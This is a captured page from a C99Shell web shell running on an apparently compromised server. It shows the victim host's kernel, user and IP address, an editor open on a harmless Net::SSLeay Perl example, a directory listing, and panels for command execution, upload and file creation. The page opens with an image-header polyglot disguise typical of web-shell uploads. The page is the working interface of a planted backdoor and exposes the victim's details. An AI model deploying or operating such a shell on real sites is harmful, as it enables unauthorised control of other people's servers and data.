Mahdee Rajon

ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon

ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- botbuilder.skeps.io - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux moos 5.15.0-176-generic #186-Ubuntu SMP Fri Mar 13 11:01:42 UTC 2026 x86_64 User: ploi Software: nginx/1.18.0 IP: 178.128.254.70 PHP: 8.2.30 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/doc/libnet-ssleay-perl/examples/

Edit File: stdio_bulk.pl

#!/usr/bin/perl
# stdio_bulk.pl - 8.6.1998, Sampo Kellomaki <sampo@iki.fi>
# Send tons of stuff over SSL connected by STDIO pipe.
# This also demonstrates how you can communicate via arbitrary stream, not
# just a TCP one.
# $Id: stdio_bulk.pl,v 1.3 2003/06/13 21:14:41 sampo Exp $

use Socket;
use Net::SSLeay qw(die_now die_if_ssl_error);
$ENV{RND_SEED} = '1234567890123456789012345678901234567890';
Net::SSLeay::randomize();
Net::SSLeay::load_error_strings();
Net::SSLeay::SSLeay_add_ssl_algorithms();
#$Net::SSLeay::trace = 2;

($cert_pem, $key_pem, $how_much) = @ARGV;      # Read command line

$ctx = Net::SSLeay::CTX_new() or die_now("Failed to create SSL_CTX $!");
Net::SSLeay::set_server_cert_and_key($ctx, $cert_pem, $key_pem) or die "key";

pipe RS, WC or die "pipe 1 ($!)";
pipe RC, WS or die "pipe 2 ($!)";
select WC; $| = 1;
select WS; $| = 1;
select STDOUT;
$| = 1;

if ($child_pid = fork) {
    print "$$: I'm the server for child $child_pid\n";
    $ssl = Net::SSLeay::new($ctx)     or die_now "$$: new ($ssl) ($!)";
    
    Net::SSLeay::set_rfd($ssl, fileno(RS));
    Net::SSLeay::set_wfd($ssl, fileno(WS));
    
    Net::SSLeay::accept($ssl) and die_if_ssl_error("$$: ssl accept: $!");
    print "$$: Cipher `" . Net::SSLeay::get_cipher($ssl) . "'\n";
    #print "$$: " . Net::SSLeay::dump_peer_certificate($ssl);
    
    $got = Net::SSLeay::ssl_read_all($ssl,$how_much)
	or die "$$: ssl read failed";
    print "$$: got " . length($got) . " bytes\n";
    Net::SSLeay::ssl_write_all($ssl, \$got) or die "$$: ssl write failed";
    $got = '';
    
    Net::SSLeay::free ($ssl);               # Tear down connection
    Net::SSLeay::CTX_free ($ctx);

wait;  # wait for child to read the stuff

close WS;
    close RS;
    print "$$: server done ($?).\n"
	. (($? >> 8) ? "ERROR\n" : "OK\n"); 
    exit;
}

print "$$: I'm the child.\n";
sleep 1;  # Give server time to get its act together

$ssl = Net::SSLeay::new($ctx) or die_now("Failed to create SSL $!");
Net::SSLeay::set_rfd($ssl, fileno(RC));
Net::SSLeay::set_wfd($ssl, fileno(WC));
Net::SSLeay::connect($ssl);
die_if_ssl_error("ssl connect");

print "$$: Cipher `" . Net::SSLeay::get_cipher($ssl) . "'\n";
print "$$: " . Net::SSLeay::dump_peer_certificate($ssl);

# Exchange data

$data = 'B' x $how_much;
Net::SSLeay::ssl_write_all($ssl, \$data) or die "$$: ssl write failed";
$got = Net::SSLeay::ssl_read_all($ssl, $how_much)
    or die "$$: ssl read failed";

Net::SSLeay::free ($ssl);               # Tear down connection
Net::SSLeay::CTX_free ($ctx);
close WC;
close RC;
exit ($data ne $got);

__END__

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
bio.pl	1.18 KB	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
bulk.pl	1.91 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
callback.pl	3.12 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
cb-testi.pl	548 B	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
cli-cert.pl	3.72 KB	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
ephemeral.pl	553 B	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
get_authenticated_page.pl	730 B	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
get_page.pl	507 B	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
get_page_cert.pl	966 B	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
https-proxy-snif.pl	4.44 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
makecert.pl	1.5 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
minicli.pl	1.31 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
passwd-cb.pl	809 B	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
req.conf	1.2 KB	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
server_key.pem	963 B	09.07.2018 20:58:08	0/0	-rw-r--r--	Edit Rename Download
ssl-inetd-serv.pl	1.6 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
ssl_diff.pl	631 B	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
sslcat.pl	526 B	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
sslecho.pl	3.07 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
stdio_bulk.pl	2.53 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
tcpcat.pl	422 B	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
tcpecho.pl	1.77 KB	09.07.2018 20:58:08	0/0	-rwxr-xr-x	Edit Rename Download
x509_cert_details.pl	10.31 KB	10.10.2020 21:11:01	0/0	-rwxr-xr-x	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1779966298.9255 ]--